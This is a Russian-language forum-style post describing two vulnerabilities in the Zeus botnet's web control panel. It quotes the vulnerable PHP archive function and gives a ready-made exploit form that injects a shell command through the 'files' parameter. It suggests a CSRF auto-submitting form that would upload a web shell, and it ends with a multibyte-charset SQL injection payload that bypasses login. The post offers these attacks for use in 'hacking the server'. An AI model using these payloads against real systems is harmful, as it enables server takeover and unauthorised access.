Уязвимости панели управления ботнетом Zeus

Hint: flag is not a frag: once you've got it, you can get one more...

Ковырялся в зевсе, дельного ничего не нашёл, но сразу наткнулся на файл /web/system/fsarc.php, посмотрел, где используется функция из него и получил исполнение кода в админке (вроде бы ещё magic_quotes_gpc=Off нужно + нужно, чтоб функция exec() не была в disable_functions).

Итак, код функции arc_Create из fsarc.php:

function arc_Create($archive, $files)
{
  error_reporting(E_ALL);
  if(strcasecmp(substr(php_uname('s'), 0, 7), 'windows') === 0)
  {
    $archive = str_replace('/', '\\', $archive);
    foreach($files as $k => $v)$files[$k] = str_replace('/', '\\', $v);
  }
  
  $archive .= '.zip';
  $cli = 'zip -r -9 -q -S "'.$archive.'" "'.implode('" "', $files).'"';
  exec($cli, $e, $r);
  
  if($r != 0)echo "(error: $r) ".$cli.'
'; return $r ? false : $archive; }

Вызывается она лишь в /web/system/reports_files.php:

Юзаем, авторизованными в админке так:
<form method="post" action="HTTP://ZEUS.COM/web/cp.php?m=reports_files&amp;path=">
<input type="hidden" name="filesaction" value="1">
<input type="text" name="files[0]" value='"; evil code #'>
<input type="submit" value="ok"></form>
На выходе имеем примерно такую команду: zip -r -9 -q -S "/PATH/zeustest/web/tmp/arcPdRbao.zip" "_reports/"; evil code #"

Соответственно, magic_quotes_gpc=Off нужно, чтобы можно было закрыть кавычку, а вторую кавычку мы закомментировали.

P.S. Наверное ценность этой баги стремится к нулю, но мб кому-то нужно будет похекать серв, имея админку зеуса.

Теоретически можно впарить админу автосубмитящуюся форму с кодом на заливку шелла, поскольку там CSRF..)

==========

Конечно очень тупо, но на самом деле можно обойти авторизацию при некоторых обстоятельствах)

Применима бага лишь только если китайцы или ещё кто юзают свои кодировки вместо юникода. Я этого не знаю...

А именно - должна использоваться мультибайтовая кодировка типа BIG5, GBK или SJIS.

Это отражается в файле /web/system/global.php:

define('MYSQL_CODEPAGE', 'utf8'); //здесь должна быть другая кодировка define('MYSQL_COLLATE', 'utf8_unicode_ci');

Тогда можно авторизоваться в обход защиты в cp.php:

Эксплойт: пишем в name %b3%27+or+1=1--.